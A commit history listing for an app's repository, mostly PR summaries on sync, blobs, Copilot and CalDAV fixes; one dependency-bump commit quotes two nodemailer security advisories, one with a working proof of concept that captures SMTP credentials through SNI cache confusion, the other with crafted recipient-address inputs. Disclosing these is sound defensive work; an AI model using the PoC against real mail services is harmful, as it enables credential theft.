Commit Graph
1485 Commits
Author SHA1 Message Date
DarkSky 12df368ad6 fix(server): add forward compatibility for 0.27.5 cutover 2026-11-23 10:44:42 +08:00
DarkSky 9e28d069bf fix(server): blob read guard (#15886)
fix #15867 

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

<!-- coderabbit-ai-generated:v1 -->

## Summary by CodeRabbit

* **Bug Fixes**
* Workspace manifests now reference only the current avatar, including
when the workspace document is incomplete. Stale avatars and unrelated
image references are no longer treated as accessible through the
manifest.
* Generated images can be returned inline when a signed link is
unavailable, avoiding unnecessary failures in that case. Image results
and remotely fetched images are also stored consistently.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-11-22 22:17:24 +08:00
DarkSky 3d25727076 feat(core): improve sync stability (#15883)
#### PR Dependency Tree


* **PR #15883** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

<!-- coderabbit-ai-generated:v1 -->

## Summary by CodeRabbit

* **New Features**
* Document creation can now recover incomplete registrations without
recreating document content.
* Document updates can detect revision conflicts, helping prevent
changes from overwriting newer edits.
* **Improvements**
* Document sync and update handling are improved across desktop,
Android, and iOS.
* Workspace metadata and legacy document pages are handled more
consistently during migration and recovery.
* Creator and editor details are better preserved when documents are
recovered or compacted.
* **Configuration**
  * Removed the experimental document-merge setting.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-11-22 01:37:22 +08:00
DarkSky 15bcb880c9 chore: bump version (#15873) 2026-11-20 17:52:12 +08:00
DarkSky 66bca643da fix: sync compatibility 2026-11-17 01:09:14 +08:00
DarkSky c471cfc9a5 feat(core): improve sync protocol (#15854)
#### PR Dependency Tree


* **PR #15854** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->

## Summary by CodeRabbit

* **New Features**
* Added workspace document lifecycle tracking, including trashed and
deleted states, with migration support.
* Added workspace inventory syncing and state refresh across cloud and
local storage, improving document discovery and offline synchronization.
* Added clearer messages for invalid or oversized document updates and
temporarily unavailable sync or validation.
* Added paused-upload diagnostics and a Quick Export shortcut for
relevant workspace sync issues.

* **Improvements**
* Search, indexing, and document metadata now reflect workspace
inventory and lifecycle state.
* Restoring from history preserves concurrent edits made during
recovery.
* Unused-blob checks now scan document content and detect changes during
scanning.

* **Bug Fixes**
* Invalid document updates are rejected without partially saving a
batch.
* Document reading handles missing or cyclic block relationships more
reliably.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-11-16 19:37:14 +08:00
DarkSky 9c61550279 feat(server): cleanup embedding after workspace deleted (#15851) 2026-11-12 18:41:30 +08:00
DarkSky 5aa30aa7fa fix(server): image process error handle (#15820)
#### PR Dependency Tree


* **PR #15820** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

<!-- coderabbit-ai-generated:v1 -->

## Summary by CodeRabbit

* **Bug Fixes**
* Improved image handling in AI conversations: supported images are
resized and sent as WebP, with transparency preserved.
* Image attachments that can’t be loaded or encoded now report an error
instead of being silently omitted.
* Invalid image uploads now receive clearer error messages, while
unrelated processing errors retain their original details.
* Copilot message errors now surface more directly, while missing or
inaccessible sessions continue to be reported as unavailable.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-11-10 18:49:03 +08:00
DarkSky 63297bca34 feat(server): improve copilot module (#15817)
#### PR Dependency Tree


* **PR #15817** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->

## Summary by CodeRabbit

* **New Features**
* Added managed Copilot model routing with route choices and defaults
based on available configuration.
* Expanded model routing support to include OpenRouter and additional
request formats.
* Route options are now available for self-hosted deployments when
configured targets support them.

* **Bug Fixes**
  * Added clearer errors when a selected Copilot target is unavailable.
* Improved configuration migration behavior to preserve custom model
profiles and legacy credentials.
* Cloud deployments now receive a clear configuration error when
attempting to set Copilot provider profiles.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-11-10 09:42:06 +08:00
DarkSky 9c316636e0 fix(server): discover CalDAV principals with PROPFIND (#15811)
fix #15482



#### PR Dependency Tree


* **PR #15811** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

<!-- coderabbit-ai-generated:v1 -->

## Summary by CodeRabbit

* **Bug Fixes**
* Improved CalDAV account setup across server configurations, including
servers that redirect discovery requests or use relative calendar links.
* CalDAV connection errors for unauthorized or forbidden access are now
surfaced without attempting fallback requests.
* Calendar and event retrieval continues to work across supported
discovery scenarios.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-11-09 01:08:30 +08:00
DarkSky a37334a150 feat(server): improve order sync (#15802) 2026-11-08 12:24:01 +08:00
DarkSky 4db3ac8d6b fix(server): doc parse cycle (#15794)
#### PR Dependency Tree


* **PR #15794** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->

## Summary by CodeRabbit

* **Bug Fixes**
* Improved search reliability when documents are changing, including
more consistent handling of invalid or incomplete document data.
* Prevented overlapping scheduled search updates, helping keep
background processing consistent.
* Improved coordination between search projections and payment
processing when both operate on document snapshots.
* Search processing now better isolates failures, helping other
documents continue to be processed and allowing recovery after source
data changes.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-11-06 01:55:27 +08:00
DarkSky e1261c40bf chore: bump deps (#15795) 2026-11-06 00:58:55 +08:00
DarkSky 8bbbfcf078 fix(native): recover refresh attempts after response loss (#15792)
fix #15654
fix #15551



#### PR Dependency Tree


* **PR #15792** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

<!-- coderabbit-ai-generated:v1 -->

## Summary by CodeRabbit

* **New Features**
* Session refreshes can now recover from interrupted requests using the
same refresh attempt, including after an app restart.
* **Bug Fixes**
* Retrying a successful refresh no longer unnecessarily rotates tokens
or invalidates the session. Invalid or mismatched retries continue to be
rejected, while expired credentials are handled without revoking an
otherwise valid session.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-11-04 22:32:21 +08:00
DarkSky 149629dee8 fix(native): missing update date for doc (#15783)
fix #15466
fix #15467


#### PR Dependency Tree


* **PR #15783** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)
2026-11-02 21:43:32 +08:00
NazarkinRoman fa653147d9 fix(server): accept custom-scheme referers in the worker endpoints (#15748)
## Description

`isRefererAllowed` compares `new URL(referer).origin`. For non-special
schemes that is the opaque string `"null"`:

```js
new URL('assets://./').origin          // 'null'
new URL('capacitor://localhost/').origin // 'null'
new URL('file:///index.html').origin   // 'null'
```

So a `Referer` coming from the desktop (`assets://.`), mobile
(`capacitor://localhost`) or legacy (`file://`) clients can never match
the allowed origins, although the same origins are accepted when they
arrive in an `Origin` header (`DESKTOP_CLIENT_ORIGINS` /
`MOBILE_CLIENT_ORIGINS`, merged into the worker's list since #15547).
Requests that carry only a `Referer`, such as `<img
src=".../api/worker/image-proxy?...">` loads, are rejected with `400
Invalid header`.

This serializes such origins as `protocol//host`, which is how a browser
writes them in an `Origin` header. http(s) referers are unchanged.

Refs #14865 (the `Origin` half of that issue is already fixed on
canary).

## Testing

- Added `plugins/worker/__tests__/headers.spec.ts`: http(s) referers,
custom-scheme referers from the list, custom-scheme referers not in the
list, invalid input.
- I could not run the full `ava` suite locally. The function was checked
in isolation with Node on the same cases (9/9).

## Not included

Allowing `image-proxy` requests that have neither `Origin` nor `Referer`
(bug 3 in #14865). That loosens the check and I could not confirm what
the Electron `<img>` loads actually send.


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

<!-- coderabbit-ai-generated:v1 -->

## Summary by CodeRabbit

* **Bug Fixes**
* Referer checks now correctly recognize allowed client origins using
custom URL schemes, alongside allowed HTTP and HTTPS origins. Unlisted
origins and invalid URLs continue to be rejected, helping ensure
requests from supported clients are handled consistently without
broadening access to unapproved origins.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-10-27 16:05:10 +08:00
DarkSky b2e56529ee chore: improve ci (#15743) 2026-10-26 16:49:45 +08:00
DarkSky fbf2cebfa0 fix(server): data migration (#15730)
#### PR Dependency Tree


* **PR #15730** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->

## Summary by CodeRabbit

* **Bug Fixes**
* Payment records missing provider or source identity now require repair
instead of being automatically adopted or matched through legacy
identifiers.
* RevenueCat subscription confirmation checks for expected subscription
identities, and subscription entitlements include provider and
recurrence details.
* Pending uploads with missing expiration dates remain pending during
cutover rather than being marked deleted.

* **Improvements**
* Embedding projections are refreshed when source content or revision
details change, with updated processing order.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-10-23 08:20:44 +08:00
DarkSky e32f8dce04 chore: bump deps (#15729)
#### PR Dependency Tree


* **PR #15729** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->

## Summary by CodeRabbit

* **Deployment**
* Updated the Cloud SQL Proxy image and integrated it with deployment
charts.
* Containers now run with stricter security settings, including non-root
execution and read-only filesystems.
* **Desktop**
* Updated Electron and Node versions and adjusted Windows builds to
support multiple architectures.
* **Maintenance**
  * Updated Vite and Storybook versions across development tools.
  * Improved production GraphQL schema handling.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-10-22 16:38:31 +08:00
DarkSky 0b69a6da21 fix(server): blob sync timing (#15704)
#### PR Dependency Tree


* **PR #15704** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Bug Fixes**
* Blob uploads now use the latest workspace storage limit, so uploads
can proceed after a quota change without relying on a stale limit.
* Upload cancellation is limited to the matching upload, preventing
unrelated uploads from being aborted.
* Failed or stale storage reservations can be retried more reliably,
while deleted storage keys and comment attachments remain protected from
unauthorized reuse.
* **Reliability**
* Upload and reservation failures now include contextual logging to aid
troubleshooting.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-10-11 22:49:18 +08:00
DarkSky f37340127b feat(server): handle m4a slice (#15703)
fix #15594


#### PR Dependency Tree


* **PR #15703** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **New Features**
* Added support for recovering transcripts from MP4 and M4A audio,
alongside existing Ogg and Opus formats.
* Added MP4 audio slicing, including support for edit-list trimming and
checks for invalid or unsupported audio.

* **Bug Fixes**
* Improved handling of unsupported audio inputs during transcript
recovery.

* **Chores**
  * Updated the LLM adapter and runtime dependencies.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-10-11 20:27:08 +08:00
DarkSky 9be1a8284a feat: bump deps (#15698)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **New Features**
* Workspace selection, creation, and navigation after import now use
consistent view transitions, including in browsers without native
transition support.
* **Chores**
* Updated supporting components for mathematical notation, diagrams,
desktop functionality, and backend services.
* Refreshed tools used by the app and its documentation, including
components for error reporting and GraphQL operations. These updates do
not change the rendered equations.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-10-10 23:28:25 +08:00
DarkSky a047628f82 feat(server): transcript truncated (#15697)
fix #14261


#### PR Dependency Tree


* **PR #15697** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **New Features**
* Meeting transcription can process longer recordings in shorter
sections and combine the results into a transcript and summary.
* If a transcription provider blocks audio, recoverable sections can be
retried. Unavailable sections are marked in the transcript, and
summaries focus on available speech.
* Transcript timestamps are aligned with their audio sections, including
when providers return timestamps in different formats.
* **Bug Fixes**
* Audio transcription failures now display a clear, localized message,
with details available on focus. Long error text wraps within the
player.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-10-10 20:29:08 +08:00
DarkSky 72e42b1c45 fix(server): gemini error handle (#15694)
#### PR Dependency Tree


* **PR #15694** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Bug Fixes**
* Transcription slices and meeting summaries now retry temporary service
failures and empty model responses, helping recover without restarting
the transcription.
* Transcription stops retrying when a request is cancelled or the
failure cannot be recovered, and reports clearer errors when attempts
are exhausted.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-10-10 17:56:29 +08:00
renovate[bot] 6b8a580a33 chore: bump up nodemailer version to v10 [SECURITY] (#15665)
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
| [nodemailer](https://nodemailer.com/)
([source](https://redirect.github.com/nodemailer/nodemailer)) |
[`^9.1.1` →
`^10.0.0`](https://renovatebot.com/diffs/npm/nodemailer/9.1.1/10.0.9) |
![age](https://developer.mend.io/api/mc/badges/age/npm/nodemailer/10.0.9?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/nodemailer/9.1.1/10.0.9?slim=true)
|

---

### Nodemailer: Process-global DNS cache reuses TLS `servername` across
transports, enabling cross-tenant SMTP credential disclosure

[GHSA-6vj9-mwq6-2f5v](https://redirect.github.com/advisories/GHSA-6vj9-mwq6-2f5v)

<details>
<summary>More information</summary>

#### Details
##### Summary

Nodemailer's process-global DNS cache is keyed only by `host`, but each
cache entry also stores the caller-specific TLS `servername`. When two
direct SMTPS transports use the same DNS host with different
`tls.servername` values, the first transport's server name is returned
to the second transport and overwrites its explicitly configured value.

As a result, Nodemailer sends the wrong SNI value and verifies the peer
certificate against the wrong identity. In a multi-tenant service or
SNI-routed SMTP gateway, one tenant can prime the cache so that a victim
transport connects to the attacker's TLS virtual host, accepts the
attacker's certificate with `rejectUnauthorized: true`, and sends the
victim's SMTP credentials to it.

##### Affected component

- **Ecosystem:** npm
- **Package:** `nodemailer`
- **Repository:** https://github.com/nodemailer/nodemailer
- **Tested version:** `10.0.1`
- **Tested commit:** `40d52215aac65b811d7e131bc916f68605efd9d2`
- **Runtime-confirmed vulnerable versions:** `5.0.0` and `10.0.1`
- **Affected versions:** `>= 5.0.0, <= 10.0.1`
- **Patched versions:** None known at the time of this report
- **Affected mode:** Direct TLS/SMTPS connections (`secure: true`) where
different transports use the same non-IP `host` and different TLS
`servername` values

The vulnerable cache implementation was introduced in commit
`6859b5dd96c8d9f0070a3169a877181b71df4a3b` on 2018-12-28. Git history
shows `v5.0.0` as the first release tag containing that commit. The
behavior remains present in `v10.0.1`.

##### Details

##### Root cause

`src/shared/index.ts` defines one module-global DNS cache, keyed only by
the DNS host:

```ts
export const dnsCache = new Map<string, DnsCacheEntry>();
```

Although the cache key contains only `host`, the cached value contains
both DNS addresses and the request-specific TLS identity:

```ts
const value: DnsCacheValue = {
    addresses: allAddresses,
    servername: options.servername || host
};

dnsCache.set(host, {
    value,
    expires: Date.now() + (options.dnsTtl || DNS_TTL)
});
```

On a cache hit, `resolveHostname()` returns the cached `servername`
without considering the current call's `options.servername`:

```ts
if (!cached.expires || cached.expires >= now) {
    return callback(
        null,
        formatDNSValue(cached.value, {
            cached: true
        })
    );
}
```

`formatDNSValue()` copies that stale value into the result:

```ts
return Object.assign(
    {
        servername: value.servername,
        host,
        _addresses: addresses
    },
    extra || {}
);
```

For a direct TLS connection, `SMTPConnection.connect()` initially copies
the current transport's TLS configuration into `opts`.
`_resolveAndConnect()` then overwrites every truthy field with the
cached resolver result, including `opts.servername`:

```ts
Object.assign(opts, this.options.tls || {});

if (this.servername && !opts.servername) {
    opts.servername = this.servername;
}

return this._resolveAndConnect(opts, resolved => {
    this._connectToHost(opts, this.secureConnection);
});
```

```ts
for (const key of Object.keys(resolved!)) {
    if (key.charAt(0) !== '_' && (resolved as { [key: string]: any })[key]) {
        (opts as { [key: string]: any })[key] = (resolved as { [key: string]: any })[key];
    }
}
```

The resulting `opts` object is passed to `tls.connect()`. Node therefore
sends the cached server name as SNI and verifies the certificate against
that cached name, rather than against the server name explicitly
configured for the current transport.

The default DNS cache TTL is five minutes:

```ts
const DNS_TTL = 5 * 60 * 1000;
```

##### Code path

```text
Tenant A: createTransport({ host: H, secure: true,
                            tls: { servername: attackerName } })
  -> SMTPConnection.connect()
  -> _resolveAndConnect(opts)
  -> shared.resolveHostname({ host: H, servername: attackerName })
  -> dnsCache.set(H, { addresses, servername: attackerName })

Victim: createTransport({ host: H, secure: true,
                          tls: { servername: victimName } })
  -> SMTPConnection.connect()
  -> opts.servername = victimName
  -> _resolveAndConnect(opts)
  -> shared.resolveHostname({ host: H, servername: victimName })
  -> dnsCache.get(H)
  -> returns cached servername = attackerName
  -> _resolveAndConnect overwrites opts.servername
  -> tls.connect({ servername: attackerName })
  -> attacker SNI virtual host and certificate are selected
  -> AUTH transmits victim SMTP credentials
```

##### Relevant source locations in the tested revision

- `src/shared/index.ts:184` — five-minute default cache TTL
- `src/shared/index.ts:245` — process-global cache keyed by host
- `src/shared/index.ts:247-262` — cached `servername` returned by
`formatDNSValue()`
- `src/shared/index.ts:292-323` — host-only lookup and cache-hit return
- `src/shared/index.ts:350-359` — caller-specific `servername` stored in
host-only cache
- `src/smtp-connection/index.ts:713-729` — direct TLS options and
resolver call
- `src/smtp-connection/index.ts:741-763` — cached fields overwrite
current connection options

##### PoC

##### Prerequisites

- Node.js 20 (tested with Node.js `20.20.2`)
- A checkout/build of Nodemailer `10.0.1`
- OpenSSL to generate the local test certificate

No external SMTP server or network access is required.

##### 1. Generate a certificate for only `attacker.test`

Create `openssl.cnf`:

```ini
[req]
distinguished_name = dn
x509_extensions = ext
prompt = no

[dn]
CN = attacker.test

[ext]
subjectAltName = DNS:attacker.test
basicConstraints = critical,CA:TRUE
keyUsage = critical,digitalSignature,keyEncipherment,keyCertSign
extendedKeyUsage = serverAuth
```

Generate the certificate and private key:

```bash
openssl req -x509 -newkey rsa:2048 -nodes -days 1 \
  -keyout attacker-key.pem -out attacker-cert.pem -config openssl.cnf
```

##### 2. Save the following as `poc-dns-cache-servername-confusion.mjs`

Adjust the two import paths if the PoC is not saved beside the
repository checkout.

```js
import fs from 'node:fs';
import tls from 'node:tls';
import nodemailer from '../../nodemailer/dist/esm/nodemailer.js';
import * as shared from '../../nodemailer/dist/esm/shared/index.js';

const cert = fs.readFileSync(new URL('./tls-fixture/attacker-cert.pem', import.meta.url));
const key = fs.readFileSync(new URL('./tls-fixture/attacker-key.pem', import.meta.url));
const observedSni = [];
const observedAuth = [];

const server = tls.createServer({ key, cert }, socket => {
    observedSni.push(socket.servername);
    socket.write('220 attacker.test ESMTP\r\n');
    let input = '';
    socket.on('data', chunk => {
        input += chunk.toString();
        let end;
        while ((end = input.indexOf('\r\n')) >= 0) {
            const line = input.slice(0, end);
            input = input.slice(end + 2);
            if (/^EHLO /i.test(line)) {
                socket.write('250-attacker.test\r\n250 AUTH PLAIN\r\n');
            } else if (/^AUTH /i.test(line)) {
                observedAuth.push(line);
                socket.write('235 2.7.0 Authentication successful\r\n');
            } else if (/^QUIT/i.test(line)) {
                socket.end('221 Bye\r\n');
            } else {
                socket.write('250 OK\r\n');
            }
        }
    });
});

await new Promise(resolve => server.listen(0, '127.0.0.1', resolve));

try {
    shared.dnsCache.clear();

    // Tenant A seeds the process-global cache for the shared DNS host.
    const attackerTransport = nodemailer.createTransport({
        host: 'localhost',
        port: server.address().port,
        secure: true,
        auth: { user: 'attacker@example.test', pass: 'attacker-secret' },
        tls: {
            ca: cert,
            servername: 'attacker.test',
            rejectUnauthorized: true
        }
    });
    await attackerTransport.verify();
    attackerTransport.close();

    // The victim explicitly configures a different TLS identity.
    const victimTransport = nodemailer.createTransport({
        host: 'localhost',
        port: server.address().port,
        secure: true,
        auth: { user: 'victim@example.test', pass: 'victim-secret' },
        tls: {
            ca: cert,
            servername: 'victim.test',
            rejectUnauthorized: true
        }
    });
    await victimTransport.verify();
    victimTransport.close();

    const decoded = observedAuth.map(line =>
        line.startsWith('AUTH PLAIN ')
            ? Buffer.from(line.slice('AUTH PLAIN '.length), 'base64').toString()
            : null
    );

    console.log(JSON.stringify({
        attackerConfiguredServername: 'attacker.test',
        victimConfiguredServername: 'victim.test',
        serverObservedSniForBothConnections: observedSni,
        serverReceivedCredentials: decoded
    }, null, 2));
} finally {
    shared.dnsCache.clear();
    await new Promise(resolve => server.close(resolve));
}
```

##### 3. Build and run

From the Nodemailer checkout:

```bash
npm install
npm run build
node ../audit/nodemailer/poc-dns-cache-servername-confusion.mjs
```

##### Observed result

```json
{
  "attackerConfiguredServername": "attacker.test",
  "victimConfiguredServername": "victim.test",
  "serverObservedSniForBothConnections": [
    "attacker.test",
    "attacker.test"
  ],
  "serverReceivedCredentials": [
    "\\u0000attacker@example.test\\u0000attacker-secret",
    "\\u0000victim@example.test\\u0000victim-secret"
  ]
}
```

The victim configured `victim.test`, but the server observes
`attacker.test` for both handshakes. The local certificate contains only
`attacker.test`, yet the victim connection succeeds with
`rejectUnauthorized: true` and then sends the victim's username and
password.

##### Expected result

The second connection must use `victim.test` for SNI and certificate
hostname verification. With the PoC certificate, it should fail with a
hostname mismatch before SMTP authentication occurs. It must never
transmit victim credentials after validating the peer as
`attacker.test`.

##### Impact

The vulnerability affects long-running applications that create multiple
Nodemailer transports in one process and let separate tenants or
security domains configure transports that share a DNS `host`. A
practical example is an email platform whose SMTP gateway uses SNI to
route several customer-specific SMTP endpoints behind one hostname.

An attacker who can create or exercise one transport can prime the
global cache with the shared host and the attacker's `tls.servername`.
During the cache lifetime, a victim's direct SMTPS connection to that
host can:

1. send the attacker's server name as SNI;
2. be routed to the attacker's TLS virtual host;
3. validate the attacker's certificate against the stale name, even
though strict certificate validation is enabled; and
4. transmit the victim's SMTP username and password to that endpoint.

Possession of SMTP credentials may also let the attacker read or change
mail account state where the provider reuses those credentials, or send
mail as the victim. The exact secondary impact depends on the SMTP
provider.

Where the attacker cannot control an SNI virtual host, stale
cross-transport SNI can still cause certificate mismatch failures and
cross-tenant availability impact.

##### Preconditions and limitations

- Two transports must execute in the same Node.js process within the
cache lifetime.
- They must use the same non-IP `host` cache key and different
`tls.servername` values.
- Credential interception requires an endpoint or gateway that routes
connections using SNI, or another deployment where the attacker controls
the endpoint selected by the stale name.
- The demonstrated path uses direct SMTPS (`secure: true`). The STARTTLS
upgrade path constructs TLS options separately and is not claimed
vulnerable by this report.

##### Suggested remediation

The DNS cache should store DNS data only. `servername` is
connection-specific TLS policy and should not be persisted in a cache
keyed solely by hostname.

One approach is to remove `servername` from `DnsCacheValue` and derive
the returned value from the current request on every path:

```ts
return {
    host: selectedAddress,
    servername: options.servername || options.host || false,
    _addresses: addresses,
    cached: true
};
```

As defense in depth, `_resolveAndConnect()` should not overwrite an
explicitly configured `opts.servername` with resolver metadata. Keying
the cache by both host and server name would avoid this particular
collision, but keeping TLS identity out of a DNS-address cache provides
a cleaner separation.

A regression test should create two direct-TLS transports in the same
process with the same DNS host and different explicit server names, then
assert that each TLS connection observes and verifies its own configured
name regardless of cache order.

#### Severity
- CVSS Score: 5.9 / 10 (Medium)
- Vector String: `CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:N`

#### References
-
[https://github.com/nodemailer/nodemailer/security/advisories/GHSA-6vj9-mwq6-2f5v](https://redirect.github.com/nodemailer/nodemailer/security/advisories/GHSA-6vj9-mwq6-2f5v)
-
[https://github.com/nodemailer/nodemailer/commit/a6512dbcb3c6e7f2f70d3acccc5752defe3c61fe](https://redirect.github.com/nodemailer/nodemailer/commit/a6512dbcb3c6e7f2f70d3acccc5752defe3c61fe)
-
[https://github.com/nodemailer/nodemailer/releases/tag/v10.0.2](https://redirect.github.com/nodemailer/nodemailer/releases/tag/v10.0.2)
-
[https://github.com/advisories/GHSA-6vj9-mwq6-2f5v](https://redirect.github.com/advisories/GHSA-6vj9-mwq6-2f5v)

This data is provided by the [GitHub Advisory
Database](https://redirect.github.com/advisories/GHSA-6vj9-mwq6-2f5v)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### Nodemailer: Quoted local-part can produce malformed envelope
recipient through RFC 5322 comment parsing

[GHSA-g57g-f23g-4646](https://redirect.github.com/advisories/GHSA-g57g-f23g-4646)

<details>
<summary>More information</summary>

#### Details
##### Summary

Nodemailer's address parser can produce an unexpected recipient address
when an RFC 5322 comment follows the domain of an address whose
local-part is a quoted string.

For example:

```text
"user"@example.com(x)evil.com
```

is parsed as:

```text
{
  address: "user@example.com evil.com",
  name: ""
}
```

The resulting address therefore contains additional attacker-controlled
domain text separated by a literal space.

The parsed `.address` value is subsequently propagated into the SMTP
envelope:

```text
src/addressparser/index.ts
        ↓
recipient.address
        ↓
src/mime-node/index.ts
        ↓
envelope.to
```

The envelope construction uses the parsed address without another strict
address validation step.

This appears to be a variant of the RFC 5322 comment parsing issue
addressed by GHSA-cc9r-2j5m-2m83, but it follows a different parser path
when the local-part is quoted.

##### Reproduction

Input:

```text
"user"@example.com(x)evil.com
```

Observed parser output:

```text
address: "user@example.com evil.com"
name: ""
```

A second example:

```text
"a"@b.com(c)d.com(e)f.com
```

produces:

```text
address: "a@b.com d.com f.com"
name: ""
```

For comparison, the corresponding unquoted form:

```text
user@example.com(x)evil.com
```

takes a different code path and is handled by the existing protection
differently.

##### Technical Details

The issue is caused by different parsing behavior for quoted and
unquoted local-parts.

The quoted-local-part variant allows the comment-separated trailing
domain atoms to remain in the resulting `.address` value.

That value is then used when constructing the message envelope:

```text
envelope.to = recipients.map(to => to.address as string)
```

No additional strict recipient validation is performed at this boundary.

##### Security Impact

The confirmed impact is that attacker-controlled comment content can
result in a malformed/ambiguous recipient address being accepted by the
parser and propagated into `envelope.to`.

The reporter did **not confirm successful delivery to an unintended
recipient through a real SMTP server using this exact quoted-local-part
variant**.

The remaining question is how real SMTP servers and other Nodemailer
transports handle an envelope recipient containing a value such as:

```text
user@example.com evil.com
```

An end-to-end SMTP test is required to determine whether this parser
behavior results in an exploitable delivery or recipient-validation
bypass.

##### Relationship to GHSA-cc9r-2j5m-2m83

This report is intended as a potential variant/follow-up to
GHSA-cc9r-2j5m-2m83.

The existing advisory addresses RFC 5322 comment handling in email
domains. This report identifies a separate parser path involving quoted
local-parts that can preserve additional domain-like content in the
normalized address.

Please evaluate whether this behavior is already covered by the existing
fix or represents a remaining parser variant.

##### Suggested Fix

The parser should consistently reject or correctly terminate addresses
containing trailing domain atoms after RFC 5322 comments, regardless of
whether the local-part is quoted.

In particular:

```text
"user"@example.com(x)evil.com
```

should not result in:

```text
user@example.com evil.com
```

The envelope-generation layer should also avoid assuming that a
parser-produced address is safe for SMTP delivery without appropriate
validation.

##### Verification Status

Confirmed:

* Parser accepts the quoted-local-part variant.
* Parser produces an address containing additional attacker-controlled
text.
* The resulting address is propagated into `envelope.to`.

Not confirmed by reporter:

* Successful delivery through a real SMTP server.
* Delivery to an unintended recipient.
* Exploitability against a specific downstream SMTP implementation.

#### Severity
- CVSS Score: 5.3 / 10 (Medium)
- Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N`

#### References
-
[https://github.com/nodemailer/nodemailer/security/advisories/GHSA-g57g-f23g-4646](https://redirect.github.com/nodemailer/nodemailer/security/advisories/GHSA-g57g-f23g-4646)
-
[https://github.com/nodemailer/nodemailer/commit/2f36eb1aa1dd33e312411dc9b888548e14db54ee](https://redirect.github.com/nodemailer/nodemailer/commit/2f36eb1aa1dd33e312411dc9b888548e14db54ee)
-
[https://github.com/nodemailer/nodemailer/releases/tag/v10.0.9](https://redirect.github.com/nodemailer/nodemailer/releases/tag/v10.0.9)
-
[https://github.com/advisories/GHSA-g57g-f23g-4646](https://redirect.github.com/advisories/GHSA-g57g-f23g-4646)

This data is provided by the [GitHub Advisory
Database](https://redirect.github.com/advisories/GHSA-g57g-f23g-4646)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### Release Notes

<details>
<summary>nodemailer/nodemailer (nodemailer)</summary>

###
[`v10.0.9`](https://redirect.github.com/nodemailer/nodemailer/blob/HEAD/CHANGELOG.md#1009-2026-09-12)

[Compare
Source](https://redirect.github.com/nodemailer/nodemailer/compare/v10.0.8...v10.0.9)

##### Bug Fixes

- **addressparser:** bound the '@&#8203;' probe to the run being scanned
([1465c3f](https://redirect.github.com/nodemailer/nodemailer/commit/1465c3f5ff74a7c4fbbe9853bd01448bb92bf5b7))
- **addressparser:** keep the text after a comment out of a quoted local
part address
([2f36eb1](https://redirect.github.com/nodemailer/nodemailer/commit/2f36eb1aa1dd33e312411dc9b888548e14db54ee))

###
[`v10.0.8`](https://redirect.github.com/nodemailer/nodemailer/blob/HEAD/CHANGELOG.md#1008-2026-09-11)

[Compare
